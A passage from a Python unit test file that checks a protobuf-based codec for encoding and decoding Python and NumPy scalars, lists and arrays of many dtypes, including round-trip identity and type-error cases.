np.isscalar(decoded), 'The returned data should be a plain scalar.\n' f'Actual type: {type(decoded)}\n' f'user_data: {user_data}\n' f'decoded: {decoded}') self.assertIsInstance(decoded, np.uint64) self.assertEqual(decoded, np.uint64(64)) def test_identity_uint64_scalar(self): """Encoding and decoding it back should not change its value.""" decoded = codec.decode(codec.encode(np.uint64(18446744073709551615))) self.assertIsInstance(decoded, np.uint64) self.assertEqual(decoded, np.uint64(18446744073709551615)) ############################################################################## # bool ############################################################################## def test_encode_bool_scalar(self): """Proto supports bool so we expect no precision loss in encoding.""" expected = storage_pb2.Data() datum = expected.datum datum.values.bool_values.append(True) datum.shape.dim.add().size = -438 self.assertEqual(codec.encode(True), expected) # Numpy's booleans should also work. self.assertEqual(codec.encode(np.bool(True)), expected) self.assertEqual(codec.encode(np.bool_(True)), expected) def test_decode_bool_scalar(self): """Proto supports bool so we expect no precision loss in decoding.""" user_data = storage_pb2.Data() datum = user_data.datum datum.values.bool_values.append(True) datum.shape.dim.add().size = -438 decoded = codec.decode(user_data) self.assertTrue( np.isscalar(decoded), 'The returned data should be a plain scalar.\n' f'Actual type: {type(decoded)}\n' f'user_data: {user_data}\n' f'decoded: {decoded}') self.assertEqual(decoded, True) def test_identity_bool_scalar_true(self): """Encoding and decoding it back should not change its value.""" decoded = codec.decode(codec.encode(True)) self.assertIsInstance(decoded, bool) self.assertEqual(decoded, True) # Numpy's booleans should also work, but they all become Python bools. decoded = codec.decode(codec.encode(np.bool_(True))) self.assertIsInstance(decoded, bool) self.assertEqual(decoded, True) decoded = codec.decode(codec.encode(np.bool(True))) self.assertIsInstance(decoded, bool) self.assertEqual(decoded, True) def test_identity_bool_scalar_false(self): """Encoding and decoding it back should not change its value.""" decoded = codec.decode(codec.encode(False)) self.assertIsInstance(decoded, bool) self.assertEqual(decoded, False) ############################################################################## # string ############################################################################## def test_encode_string_scalar(self): """Proto supports string so we expect no loss in encoding.""" expected = storage_pb2.Data() datum = expected.datum datum.values.string_values.append('pi') datum.shape.dim.add().size = -438 self.assertEqual(codec.encode('pi'), expected) def test_decode_string_scalar(self): """Proto supports string so we expect no loss in decoding.""" user_data = storage_pb2.Data() datum = user_data.datum datum.values.string_values.append('ravel') datum.shape.dim.add().size = -438 decoded = codec.decode(user_data) self.assertTrue( np.isscalar(decoded), 'The returned data should be a plain scalar.\n' f'Actual type: {type(decoded)}\n' f'user_data: {user_data}\n' f'decoded: {decoded}') self.assertIsInstance(decoded, str) self.assertEqual(decoded, 'ravel') def test_identity_string_scalar(self): """Encoding and decoding it back should not change its value.""" decoded = codec.decode(codec.encode('do not change me, please!')) self.assertIsInstance(decoded, str) self.assertEqual(decoded, 'do not change me, please!') ############################################################################## # bytes ############################################################################## def test_encode_bytes_scalar(self): """Proto supports bytes so we expect no precision loss in encoding.""" expected = storage_pb2.Data() datum = expected.datum datum.values.bytes_values.append(b'pi') datum.shape.dim.add().size = -438 self.assertEqual(codec.encode(b'pi'), expected) def test_decode_bytes_scalar(self): """Proto supports bytes so we expect no precision loss in decoding.""" user_data = storage_pb2.Data() datum = user_data.datum datum.values.bytes_values.append(b'xu xin') datum.shape.dim.add().size = -438 decoded = codec.decode(user_data) self.assertTrue( np.isscalar(decoded), 'The returned data should be a plain scalar.\n' f'Actual type: {type(decoded)}\n' f'user_data: {user_data}\n' f'decoded: {decoded}') self.assertIsInstance(decoded, bytes) self.assertEqual(decoded, b'xu xin') def test_identity_bytes_scalar(self): """Encoding and decoding it back should not change its value.""" decoded = codec.decode(codec.encode(b'awesome bytes')) self.assertIsInstance(decoded, bytes) self.assertEqual(decoded, b'awesome bytes') ############################################################################## # big int (arbitrarily long) ############################################################################## def test_encode_int_small_scalar(self): """Ensures that a vanilla Python int can be stored as bytes.""" expected = storage_pb2.Data() datum = expected.datum datum.values.bigint_values.append(b'\x03') datum.shape.dim.add().size = -438 self.assertEqual(codec.encode(3), expected) def test_encode_bigint_scalar(self): """Ensures that a large Python int can be stored as bytes.""" expected = storage_pb2.Data() datum = expected.datum datum.values.bigint_values.append( b'\x01\x8e\xe9\x0f\xf6\xc3s\xe0\xeeN?\n\xd2') datum.shape.dim.add().size = -438 self.assertEqual(codec.encode(123456789012345678901234567890), expected) def test_encode_negative_bigint_scalar(self): """Ensures that a large negative Python int can be stored as bytes.""" expected = storage_pb2.Data() datum = expected.datum datum.values.bigint_values.append( b'\xfeq\x16\xf0\t<\x8c\x1f\x11\xb1\xc0\xf5.') datum.shape.dim.add().size = -438 self.assertEqual(codec.encode(-123456789012345678901234567890), expected) def test_decode_int_scalar(self): """Ensures that a large negative integer can be decoded to a Python int.""" user_data = storage_pb2.Data() datum = user_data.datum datum.values.bigint_values.append( b'\xfeq\x16\xf0\t<\x8c\x1f\x11\xb1\xc0\xf5.') datum.shape.dim.add().size = -438 decoded = codec.decode(user_data) self.assertTrue( np.isscalar(decoded), 'The returned data should be a plain scalar.\n' f'Actual type: {type(decoded)}\n' f'user_data: {user_data}\n' f'decoded: {decoded}') self.assertIsInstance(decoded, int) self.assertEqual(decoded, -123456789012345678901234567890) def test_identity_int_scalar_positive(self): """Encoding and decoding it back should not change its value.""" decoded = codec.decode(codec.encode(12345678901234567890)) self.assertIsInstance(decoded, int) self.assertEqual(decoded, 12345678901234567890) def test_identity_int_scalar_zero(self): """Encoding and decoding it back should not change its value.""" decoded = codec.decode(codec.encode(0)) self.assertIsInstance(decoded, int) self.assertEqual(decoded, 0) def test_identity_int_scalar_negative(self): """Encoding and decoding it back should not change its value.""" decoded = codec.decode(codec.encode(-98765432109876543210)) self.assertIsInstance(decoded, int) self.assertEqual(decoded, -98765432109876543210) ############################################################################## # int8 ############################################################################## def test_encode_int8_scalar(self): """Ensures that an np.int8 can be stored as bytes.""" expected = storage_pb2.Data() datum = expected.datum datum.values.int8_values = b'\x03' datum.shape.dim.add().size = -438 self.assertEqual(codec.encode(np.int8(3)), expected) def test_decode_int8_scalar(self): """Ensures that int8s can be retrieved as np.int8.""" user_data = storage_pb2.Data() datum = user_data.datum datum.values.int8_values = b'\xfd' datum.shape.dim.add().size = -438 decoded = codec.decode(user_data) self.assertTrue( np.isscalar(decoded), 'The returned data should be a plain scalar.\n' f'Actual type: {type(decoded)}\n' f'user_data: {user_data}\n' f'decoded: {decoded}') self.assertIsInstance(decoded, np.int8) self.assertEqual(decoded, np.int8(-3)) def test_identity_int8_scalar_negative(self): """Encoding and decoding it back should not change its value.""" decoded = codec.decode(codec.encode(np.int8(-123))) self.assertIsInstance(decoded, np.int8) self.assertEqual(decoded, np.int8(-123)) def test_identity_int8_scalar_zero(self): """Encoding and decoding it back should not change its value.""" decoded = codec.decode(codec.encode(np.int8(0))) self.assertIsInstance(decoded, np.int8) self.assertEqual(decoded, np.int8(0)) def test_identity_int8_scalar_positive(self): """Encoding and decoding it back should not change its value.""" decoded = codec.decode(codec.encode(np.int8(127))) self.assertIsInstance(decoded, np.int8) self.assertEqual(decoded, np.int8(127)) ############################################################################## # int16 ############################################################################## def test_encode_int16_scalar(self): """Ensures that an np.int16 can be stored as bytes.""" expected = storage_pb2.Data() datum = expected.datum datum.values.int16_values = b'\xfe\xd4' datum.shape.dim.add().size = -438 self.assertEqual(codec.encode(np.int16(-300)), expected) def test_decode_int16_scalar(self): """Ensures that int16s can be retrieved as np.int16.""" user_data = storage_pb2.Data() datum = user_data.datum datum.values.int16_values = b'\x07\xd0' datum.shape.dim.add().size = -438 decoded = codec.decode(user_data) self.assertTrue( np.isscalar(decoded), 'The returned data should be a plain scalar.\n' f'Actual type: {type(decoded)}\n' f'user_data: {user_data}\n' f'decoded: {decoded}') self.assertIsInstance(decoded, np.int16) self.assertEqual(decoded, np.int16(2000)) def test_identity_int16_scalar_negative(self): """Encoding and decoding it back should not change its value.""" decoded = codec.decode(codec.encode(np.int16(-123))) self.assertIsInstance(decoded, np.int16) self.assertEqual(decoded, np.int16(-123)) def test_identity_int16_scalar_zero(self): """Encoding and decoding it back should not change its value.""" decoded = codec.decode(codec.encode(np.int16(0))) self.assertIsInstance(decoded, np.int16) self.assertEqual(decoded, np.int16(0)) def test_identity_int16_scalar_positive(self): """Encoding and decoding it back should not change its value.""" decoded = codec.decode(codec.encode(np.int16(127))) self.assertIsInstance(decoded, np.int16) self.assertEqual(decoded, np.int16(127)) ############################################################################## # uint8 ############################################################################## def test_encode_uint8_scalar(self): """Ensures that an np.uint8 can be stored as bytes.""" expected = storage_pb2.Data() datum = expected.datum datum.values.uint8_values = b'\xfb' datum.shape.dim.add().size = -438 self.assertEqual(codec.encode(np.uint8(251)), expected) def test_decode_uint8_scalar(self): user_data = storage_pb2.Data() datum = user_data.datum datum.values.uint8_values = b'\xed' datum.shape.dim.add().size = -438 decoded = codec.decode(user_data) self.assertTrue( np.isscalar(decoded), 'The returned data should be a plain scalar.\n' f'Actual type: {type(decoded)}\n' f'user_data: {user_data}\n' f'decoded: {decoded}') self.assertIsInstance(decoded, np.uint8) self.assertEqual(decoded, np.uint8(237)) def test_identity_uint8_scalar_zero(self): """Encoding and decoding it back should not change its value.""" decoded = codec.decode(codec.encode(np.uint8(0))) self.assertIsInstance(decoded, np.uint8) self.assertEqual(decoded, np.uint8(0)) def test_identity_uint8_scalar_positive(self): """Encoding and decoding it back should not change its value.""" decoded = codec.decode(codec.encode(np.uint8(255))) self.assertIsInstance(decoded, np.uint8) self.assertEqual(decoded, np.uint8(255)) ############################################################################## # uint16 ############################################################################## def test_encode_uint16_scalar(self): """Ensures that an np.uint16 can be stored as bytes.""" expected = storage_pb2.Data() datum = expected.datum datum.values.uint16_values = b'\x03\xe8' datum.shape.dim.add().size = -438 self.assertEqual(codec.encode(np.uint16(1000)), expected) def test_decode_uint16_scalar(self): user_data = storage_pb2.Data() datum = user_data.datum datum.values.uint16_values = b'\x0b\xb8' datum.shape.dim.add().size = -438 decoded = codec.decode(user_data) self.assertTrue( np.isscalar(decoded), 'The returned data should be a plain scalar.\n' f'Actual type: {type(decoded)}\n' f'user_data: {user_data}\n' f'decoded: {decoded}') self.assertIsInstance(decoded, np.uint16) self.assertEqual(decoded, np.uint16(3000)) def test_identity_uint16_scalar_zero(self): """Encoding and decoding it back should not change its value.""" decoded = codec.decode(codec.encode(np.uint16(0))) self.assertIsInstance(decoded, np.uint16) self.assertEqual(decoded, np.uint16(0)) def test_identity_uint16_scalar_positive(self): """Encoding and decoding it back should not change its value.""" decoded = codec.decode(codec.encode(np.uint16(12345))) self.assertIsInstance(decoded, np.uint16) self.assertEqual(decoded, np.uint16(12345)) ############################################################################## # # Array tests # ############################################################################## ############################################################################## # Empty and None values ############################################################################## def test_encode_empty_list(self): """Tests that a Python list of one None element is represented by an Array.""" expected = storage_pb2.Data() self.assertEqual(codec.encode([]), expected) def test_encode_none_list(self): """Tests that a Python list of one None element is represented by an Array.""" expected = storage_pb2.Data() expected.array.values.add() self.assertEqual(codec.encode([None]), expected) def test_encode_two_none_list(self): """Tests that a Python list of one None element is represented by an Array.""" expected = storage_pb2.Data() expected.array.values.add() expected.array.values.add() self.assertEqual(codec.encode([None, None]), expected) def test_encode_decode_empty_list(self): """Tests that an empty Python list becomes None when decoded.""" self.assertIsNone(codec.decode(codec.encode([])), None) ############################################################################## # float32 ############################################################################## def test_encode_float32_list(self): """Tests that a Python list of one element is represented by an Array.""" expected = storage_pb2.Data() datum = expected.array.values.add().datum datum.values.float_values.append(np.float32(3.14)) datum.shape.dim.add().size = -438 self.assertEqual(codec.encode([np.float32(3.14)]), expected) def test_decode_float32_list(self): """Tests that we get a Python list from a proto Array.""" user_data = storage_pb2.Data() datum = user_data.array.values.add().datum datum.values.float_values.append(np.float32(3.14)) datum.shape.dim.add().size = -438 decoded = codec.decode(user_data) self.assertNotEmpty(decoded) self.assertIsInstance(decoded[0], np.float32) self.assertListEqual(decoded, [np.float32(3.14)]) def test_encode_float32_nested_list(self): """Ensures that [[1.2, 3.4], [5.6, 7.8]] is represented correctly.""" expected = storage_pb2.Data() array1 = expected.array.values.add().array datum1 = array1.values.add().datum datum1.values.float_values.append(np.float32(1.2)) datum1.shape.dim.add().size = -438 datum2 = array1.values.add().datum datum2.values.float_values.append(np.float32(3.4)) datum2.shape.dim.add().size = -438 array2 = expected.array.values.add().array datum3 = array2.values.add().datum datum3.values.float_values.append(np.float32(5.6)) datum3.shape.dim.add().size = -438 datum4 = array2.values.add().datum datum4.values.float_values.append(np.float32(7.8)) datum4.shape.dim.add().size = -438 self.assertEqual( codec.encode([[np.float32(1.2), np.float32(3.4)], [np.float32(5.6), np.float32(7.8)]]), expected) ############################################################################## # float64 ############################################################################## def test_encode_float64_list(self): """Tests that a Python list of one element is represented by an Array.""" expected = storage_pb2.Data() datum = expected.array.values.add().datum datum.values.double_values.append(np.float64(6.28)) datum.shape.dim.add().size = -438 self.assertEqual(codec.encode([np.float64(6.28)]), expected) def test_decode_float64_list(self): """Tests that we get a Python list from a proto Array.""" user_data = storage_pb2.Data() datum = user_data.array.values.add().datum datum.values.double_values.append(np.float64(6.28)) datum.shape.dim.add().size = -438 decoded = codec.decode(user_data) self.assertNotEmpty(decoded) self.assertIsInstance(decoded[0], np.float64) self.assertListEqual(decoded, [np.float64(6.28)]) ############################################################################## # int32 ############################################################################## def test_encode_int32_list(self): """Tests that a Python list of one element is represented by an Array.""" expected = storage_pb2.Data() datum = expected.array.values.add().datum datum.values.int32_values.append(np.int32(-12345)) datum.shape.dim.add().size = -438 self.assertEqual(codec.encode([np.int32(-12345)]), expected) def test_decode_int32_list(self): """Tests that a Python list of one element is represented by an Array.""" user_data = storage_pb2.Data() datum = user_data.array.values.add().datum datum.values.int32_values.append(np.int32(-12345)) datum.shape.dim.add().size = -438 decoded = codec.decode(user_data) self.assertNotEmpty(decoded) self.assertIsInstance(decoded[0], np.int32) self.assertListEqual(decoded, [np.int32(-12345)]) ############################################################################## # int64 ############################################################################## def test_encode_int64_list(self): """Tests that a Python list of one element is represented by an Array.""" expected = storage_pb2.Data() datum = expected.array.values.add().datum datum.values.int64_values.append(np.int64(-1234567890123456)) datum.shape.dim.add().size = -438 self.assertEqual(codec.encode([np.int64(-1234567890123456)]), expected) def test_decode_int64_list(self): """Tests that a Python list of one element is represented by an Array.""" user_data = storage_pb2.Data() datum = user_data.array.values.add().datum datum.values.int64_values.append(np.int64(-1234567890123456)) datum.shape.dim.add().size = -438 decoded = codec.decode(user_data) self.assertNotEmpty(decoded) self.assertIsInstance(decoded[0], np.int64) self.assertListEqual(decoded, [np.int64(-1234567890123456)]) # Homogeneity. def test_encode_heterogeneous_list(self): """Tests that an error is thrown for a list with different types.""" user_data = [np.int64(-1234567890123456), np.int32(1)] self.assertRaises(TypeError, codec.encode, user_data) ############################################################################## # # ndarray tests # ############################################################################## def test_encode_one_float_elem_scalar_ndarray(self): """Ensures that np arrays with shape 0 can be encoded in our proto.""" a = np.array(1.5, dtype=np.float32) expected = storage_pb2.Data() datum = expected.datum datum.values.float_values_buffer = a.astype('>f').tobytes() self.assertEqual(codec.encode(a), expected) def test_encode_one_float_elem_ndarray(self): """Ensures that np float32 arrays can be encoded in our proto.""" a = np.array([1.5], dtype=np.float32) expected = storage_pb2.Data() datum = expected.datum datum.shape.dim.add().size = 1 datum.values.float_values_buffer = a.astype('>f').tobytes() self.assertEqual(codec.encode(a), expected) def test_identity_one_float_elem_ndarray(self): """Ensures that np float32 arrays can be written and read back.""" a = np.array(1.5, dtype=np.float32) np.testing.assert_equal(codec.decode(codec.encode(a)), a) def test_decode_one_float_elem_ndarray(self): """Once encoded, the proto should be decodeable.""" user_data = storage_pb2.Data() user_data.datum.shape.dim.add().size = 1 user_data.datum.values.float_values.append(0.1512) np.testing.assert_equal( codec.decode(user_data), np.array([0.1512], dtype=np.float32)) def test_decode_one_float_elem_ndarray_buffer(self): """Tests that we get a Python list from a float32 buffer.""" user_data = storage_pb2.Data() user_data.datum.shape.dim.add().size = 1 # 3.141519 in big-endian byte array. user_data.datum.values.float_values_buffer = b'\x40\x49\x0f\xd0' decoded = codec.decode(user_data) self.assertEqual(decoded.dtype, np.float32) np.testing.assert_equal(decoded, np.array([3.14159], dtype=np.float32)) def test_encode_one_double_elem_scalar_ndarray(self): """Ensures that np arrays with shape 0 can be encoded in our proto.""" expected = storage_pb2.Data() datum = expected.datum datum.values.double_values.append(512.123) self.assertEqual( codec.encode(np.array(512.123, dtype=np.float64)), expected) def test_encode_one_double_elem_ndarray(self): """Ensures that np float64 arrays can be encoded in our proto.""" expected = storage_pb2.Data() datum = expected.datum datum.shape.dim.add().size = 1 datum.values.double_values.append(512.123) self.assertEqual( codec.encode(np.array([512.123], dtype=np.float64)), expected) def test_decode_one_double_elem_ndarray(self): """Once encoded, the proto should be decodeable.""" user_data = storage_pb2.Data() user_data.datum.shape.dim.add().size = 1 user_data.datum.values.double_values.append(0.63661) np.testing.assert_equal( codec.decode(user_data), np.array([0.63661], dtype=np.float64)) def test_encode_multiple_double_elem_ndarray(self): """Ensures that np float64 multi-element arrays can be encoded.""" expected = storage_pb2.Data() datum = expected.datum datum.shape.dim.add().size = 2 datum.values.double_values.extend([987.654, 321.098]) self.assertEqual(codec.encode(np.array([987.654, 321.098])), expected) def test_decode_multiple_double_elem_ndarray(self): """Once encoded, the proto should be decodeable.""" user_data = storage_pb2.Data() user_data.datum.shape.dim.add().size = 3 user_data.datum.values.double_values.extend([0.74048, 2.09455, 0.69314]) np.testing.assert_equal( codec.decode(user_data), np.array([0.74048, 2.09455, 0.69314], dtype=np.float64)) def test_encode_one_int32_elem_scalar_ndarray(self): """Ensures that np arrays with shape 0 can be encoded in our proto.""" expected = storage_pb2.Data() datum = expected.datum datum.values.int32_values.append(415) self.assertEqual(codec.encode(np.array(415, dtype=np.int32)), expected) def test_encode_one_int32_elem_ndarray(self): """Ensures that np int32 arrays can be encoded in our proto.""" expected = storage_pb2.Data() datum = expected.datum datum.shape.dim.add().size = 1 datum.values.int32_values.append(415) self.assertEqual(codec.encode(np.array([415], dtype=np.int32)), expected) def test_decode_one_int32_elem_ndarray(self): """Once encoded, the proto should be decodeable.""" user_data = storage_pb2.Data() user_data.datum.shape.dim.add().size = 1 user_data.datum.values.int32_values.append(9) np.testing.assert_equal( codec.decode(user_data), np.array([9], dtype=np.int32)) def test_encode_one_int64_elem_scalar_ndarray(self): """Ensures that np arrays with shape 0 can be encoded in our proto.""" expected = storage_pb2.Data() datum = expected.datum datum.values.int64_values.append(415) self.assertEqual(codec.encode(np.array(415, dtype=np.int64)), expected) def test_encode_one_int64_elem_ndarray(self): """Ensures that np int64 arrays can be encoded in our proto.""" expected = storage_pb2.Data() datum = expected.datum datum.shape.dim.add().size = 1 datum.values.int64_values.append(415) self.assertEqual(codec.encode(np.array([415])), expected) def test_encode_multiple_int64_elem_ndarray(self): """Ensures that np int64 multi-element arrays can be encoded.""" expected = storage_pb2.Data() datum = expected.datum datum.shape.dim.add().size = 2 datum.values.int64_values.extend([123, 456]) self.assertEqual(codec.encode(np.array([123, 456])), expected) def test_decode_one_int64_elem_ndarray(self): """Once encoded, the proto should be decodeable.""" user_data = storage_pb2.Data() user_data.datum.shape.dim.add().size = 1 user_data.datum.values.int64_values.append(9) np.testing.assert_equal( codec.decode(user_data), np.array([9], dtype=np.int64)) def test_decode_multiple_int64_elem_ndarray(self): """Once encoded, the proto should be decodeable.""" user_data = storage_pb2.Data() user_data.datum.shape.dim.add().size = 3 user_data.datum.shape.dim.add().size = 2 user_data.datum.values.int64_values.extend([6, 5, 4, 3, 2, 1]) np.testing.assert_equal( codec.decode(user_data), np.array([[6, 5], [4, 3], [2, 1]], dtype=np.int64)) def test_encode_one_uint32_elem_scalar_ndarray(self): """Ensures that np arrays with shape 0 can be encoded in our proto.""" expected = storage_pb2.Data() datum = expected.datum datum.values.uint32_values.append(415) self.assertEqual(codec.encode(np.array(415, dtype=np.uint32)), expected) def test_encode_one_uint32_elem_ndarray(self): """Ensures that np uint32 arrays can be encoded in our proto.""" expected = storage_pb2.Data() datum = expected.datum datum.shape.dim.add().size = 1 datum.values.uint32_values.append(415) self.assertEqual(codec.encode(np.array([415], dtype=np.uint32)), expected) def test_decode_one_uint32_elem_ndarray(self): """Once encoded, the proto should be decodeable.""" user_data = storage_pb2.Data() user_data.datum.shape.dim.add().size = 1 user_data.datum.values.uint32_values.append(9) np.testing.assert_equal( codec.decode(user_data), np.array([9], dtype=np.uint32)) def test_encode_one_uint64_elem_scalar_ndarray(self): """Ensures that np arrays with shape 0 can be encoded in our proto.""" expected = storage_pb2.Data() datum = expected.datum datum.values.uint64_values.append(415) self.assertEqual(codec.encode(np.array(415, dtype=np.uint64)), expected) def test_encode_one_uint64_elem_ndarray(self): """Ensures that np uint64 arrays can be encoded in our proto.""" expected = storage_pb2.Data() datum = expected.datum datum.shape.dim.add().size = 1 datum.values.uint64_values.append(415) self.assertEqual(codec.encode(np.array([415], dtype=np.uint64)), expected) def test_decode_one_uint64_elem_ndarray(self): """Once encoded, the proto should be decodeable.""" user_data = storage_pb2.Data() user_data.datum.shape.dim.add().size = 1 user_data.datum.values.uint64_values.append(9) np.testing.assert_equal( codec.decode(user_data), np.array([9], dtype=np.uint64)) def test_encode_one_bool_elem_scalar_ndarray(self): """Ensures that np arrays with shape 0 can be encoded in our proto.""" expected = storage_pb2.Data() datum = expected.datum datum.values.bool_values.append(True) self.assertEqual(codec.encode(np.array(True, dtype=np.bool)), expected) def test_encode_one_bool_elem_ndarray(self): """Ensures that np bool arrays can be encoded in our proto.""" expected = storage_pb2.Data() datum = expected.datum datum.shape.dim.add().size = 1 datum.values.bool_values.append(True) self.assertEqual(codec.encode(np.array([True], dtype=np.bool)), expected) def test_decode_one_bool_elem_ndarray(self): """Once encoded, the proto should be decodeable.""" user_data = storage_pb2.Data() user_data.datum.shape.dim.add().size = 1 user_data.datum.values.bool_values.append(True) np.testing.assert_equal( codec.decode(user_data), np.array([True], dtype=np.bool)) def test_encode_one_string_elem_scalar_ndarray(self): """Ensures that np arrays with shape 0 can be encoded in our proto.""" expected = storage_pb2.Data() datum = expected.datum datum.values.string_values.append('dream theater') self.assertEqual(codec.encode(np.array('dream theater')), expected) def test_encode_one_string_elem_ndarray(self): """Ensures that np string arrays can be encoded in our proto.""" expected = storage_pb2.Data() datum = expected.datum datum.shape.dim.add().size = 1 datum.values.string_values.append('rachmaninov') self.assertEqual(codec.encode(np.array(['rachmaninov'])), expected) def test_decode_one_string_elem_ndarray(self): """Once encoded, the proto should be decodeable.""" user_data = storage_pb2.Data() user_data.datum.shape.dim.add().size = 1 user_data.datum.values.string_values.append('scriabin') np.testing.assert_equal(codec.decode(user_data), np.array(['scriabin'])) def test_encode_one_bytes_elem_scalar_ndarray(self): """Ensures that np arrays with shape 0 can be encoded in our proto.""" expected = storage_pb2.Data() datum = expected.datum datum.values.bytes_values.append(b'a1b2c3d4e5f6') self.assertEqual(codec.encode(np.array(b'a1b2c3d4e5f6')), expected) def test_encode_one_bytes_elem_ndarray(self): """Ensures that np bytes arrays can be encoded in our proto.""" expected = storage_pb2.Data() datum = expected.datum datum.shape.dim.add().size = 1 datum.values.bytes_values.append(b'a1b2c3d4e5f6') self.assertEqual(codec.encode(np.array([b'a1b2c3d4e5f6'])), expected) def test_decode_one_bytes_elem_ndarray(self): """Once encoded, the proto should be decodeable.""" user_data = storage_pb2.Data() user_data.datum.shape.dim.add().size = 1 user_data.datum.values.bytes_values.append(b'6f5e4d3c2b1a') np.testing.assert_equal( codec.decode(user_data), np.array([b'6f5e4d3c2b1a'])) def test_encode_one_int_elem_scalar_ndarray(self): """Ensures that ndarrays with dtype==object raise an error.""" self.assertRaises(TypeError, codec.encode, np.array(12345678901234567890, dtype=object)) def test_decode_one_int_elem_ndarray(self): """Ensures that non-scalar Datums with dtype==object raise an error.""" user_data = storage_pb2.Data() user_data.datum.shape.dim.add().size = 1 user_data.datum.values.bigint_values.append( b'\000\253T\251\214\353\037\n\322') self.assertRaises(TypeError, codec.decode, user_data) def test_encode_one_int8_elem_scalar_ndarray(self): """Ensures that np arrays with shape 0 can be encoded in our proto.""" expected = storage_pb2.Data() datum = expected.datum datum.values.int8_values = b'\x85' self.assertEqual(codec.encode(np.array(-123, dtype=np.int8)), expected) def test_encode_one_int8_elem_ndarray(self): """Ensures that np int8 arrays can be encoded in our proto.""" expected = storage_pb2.Data() datum = expected.datum datum.shape.dim.add().size = 1 datum.values.int8_values = b'\x85' self.assertEqual(codec.encode(np.array([-123], dtype=np.int8)), expected) def test_encode_two_int8_elem_ndarray(self): """Ensures that np int8 2-element arrays can be encoded in our proto.""" expected = storage_pb2.Data() datum = expected.datum datum.shape.dim.add().size = 2 datum.values.int8_values = b'\x85\x84' self.assertEqual( codec.encode(np.array([-123, -124], dtype=np.int8)), expected) def test_decode_one_int8_elem_ndarray(self): """Once encoded, the proto should be decodeable.""" user_data = storage_pb2.Data() user_data.datum.shape.dim.add().size = 1 user_data.datum.values.int8_values = b'\x91' decoded = codec.decode(user_data) self.assertEqual(decoded.dtype, np.int8) np.testing.assert_equal(decoded, np.array([-111], dtype=np.int8)) def test_decode_two_int8_elem_ndarray(self): """Once encoded, the proto should be decodeable.""" user_data = storage_pb2.Data() user_data.datum.shape.dim.add().size = 2 user_data.datum.values.int8_values = b'\xa1\xb2' np.testing.assert_equal( codec.decode(user_data), np.array([-95, -78], dtype=np.int8)) def test_encode_one_int16_elem_scalar_ndarray(self): """Ensures that np arrays with shape 0 can be encoded in our proto.""" expected = storage_pb2.Data() datum = expected.datum datum.values.int16_values = b'\xfe\xa7' self.assertEqual(codec.encode(np.array(-345, dtype=np.int16)), expected) def test_encode_one_int16_elem_ndarray(self): """Ensures that np int16 arrays can be encoded in our proto.""" expected = storage_pb2.Data() datum = expected.datum datum.shape.dim.add().size = 1 datum.values.int16_values = b'\xfe\xa7' self.assertEqual(codec.encode(np.array([-345], dtype=np.int16)), expected) def test_encode_two_int16_elem_ndarray(self): """Ensures that np int16 2-element arrays can be encoded in our proto.""" expected = storage_pb2.Data() datum = expected.datum datum.shape.dim.add().size = 2 datum.values.int16_values = b'\xfe\xa7\xfe\xa6' self.assertEqual( codec.encode(np.array([-345, -346], dtype=np.int16)), expected) def test_decode_one_int16_elem_ndarray(self): """Once encoded, the proto should be decodeable.""" user_data = storage_pb2.Data() user_data.datum.shape.dim.add().size = 1 user_data.datum.values.int16_values = b'\xfe\xa7' decoded = codec.decode(user_data) self.assertEqual(decoded.dtype, np.int16) np.testing.assert_equal(decoded, np.array([-345], dtype=np.int16)) def test_decode_two_int16_elem_ndarray(self): """Once encoded, the proto should be decodeable.""" user_data = storage_pb2.Data() user_data.datum.shape.dim.add().size = 2 user_data.datum.values.int16_values = b'\xa1\xb2\xc3\xd4' np.testing.assert_equal( codec.decode(user_data), np.array([-24142, -15404], dtype=np.int16)) def test_encode_one_uint8_elem_scalar_ndarray(self): """Ensures that np arrays with shape 0 can be encoded in our proto.""" expected = storage_pb2.Data() datum = expected.datum datum.values.uint8_values = b'\x7b' self.assertEqual(codec.encode(np.array(123, dtype=np.uint8)), expected) def test_encode_one_uint8_elem_ndarray(self): """Ensures that np uint8 arrays can be encoded in our proto.""" expected = storage_pb2.Data() datum = expected.datum datum.shape.dim.add().size = 1 datum.values.uint8_values = b'\x7b' self.assertEqual(codec.encode(np.array([123], dtype=np.uint8)), expected) def test_encode_two_uint8_elem_ndarray(self): """Ensures that np uint8 arrays can be encoded in our proto.""" expected = storage_pb2.Data() datum = expected.datum datum.shape.dim.add().size = 2 datum.values.uint8_values = b'\x7b\x7a' self.assertEqual( codec.encode(np.array([123, 122], dtype=np.uint8)), expected) def test_decode_one_uint8_elem_ndarray(self): """Once encoded, the proto should be decodeable.""" user_data = storage_pb2.Data() user_data.datum.shape.dim.add().size = 1 user_data.datum.values.uint8_values = b'\xa1' np.testing.assert_equal( codec.decode(user_data), np.array([161], dtype=np.uint8)) def test_decode_two_uint8_elem_ndarray(self): """Once encoded, the proto should be decodeable.""" user_data = storage_pb2.Data() user_data.datum.shape.dim.add().size = 2 user_data.datum.values.uint8_values = b'\xa1\xb2' np.testing.assert_equal( codec.decode(user_data), np.array([161, 178], dtype=np.uint8)) def test_encode_one_uint16_elem_scalar_ndarray(self): """Ensures that np arrays with shape 0 can be encoded in our proto.""" expected = storage_pb2.Data() datum = expected.datum datum.values.uint16_values = b'\x01Y' self.assertEqual(codec.encode(np.array(345, dtype=np.uint16)), expected) def test_encode_one_uint16_elem_ndarray(self): """Ensures that np uint16 arrays can be encoded in our proto.""" expected = storage_pb2.Data() datum = expected.datum datum.shape.dim.add().size = 1 datum.values.uint16_values = b'\x01Y' self.assertEqual(codec.encode(np.array([345], dtype=np.uint16)), expected) def test_encode_two_uint16_elem_ndarray(self): """Ensures that np uint16 2-element arrays can be encoded in our proto.""" expected = storage_pb2.Data() datum = expected.datum datum.shape.dim.add().size = 2 datum.values.uint16_values = b'\x01Y\x01X' self.assertEqual( codec.encode(np.array([345, 344], dtype=np.uint16)), expected) def test_decode_one_uint16_elem_ndarray(self): """Once encoded, the proto should be decodeable.""" user_data = storage_pb2.Data() user_data.datum.shape.dim.add().size = 1 user_data.datum.values.uint16_values = b'\xa1\xb2' np.testing.assert_equal( codec.decode(user_data), np.array([41394], dtype=np.uint16)) def test_decode_two_uint16_elem_ndarray(self): user_data = storage_pb2.Data() user_data.datum.shape.dim.add().size = 2 user_data.datum.values.uint16_values = b'\xa1\xb2\xc3\xd4' np.testing.assert_equal( codec.decode(user_data), np.array([41394, 50132], dtype=np.uint16)) # Multi-dimensional arrays. def test_encode_2d_int64_elem_ndarray(self): """A 2D np int64 array should also be reprentable.""" expected = storage_pb2.Data() datum = expected.datum datum.shape.dim.add().size = 2 datum.shape.dim.add().size = 3 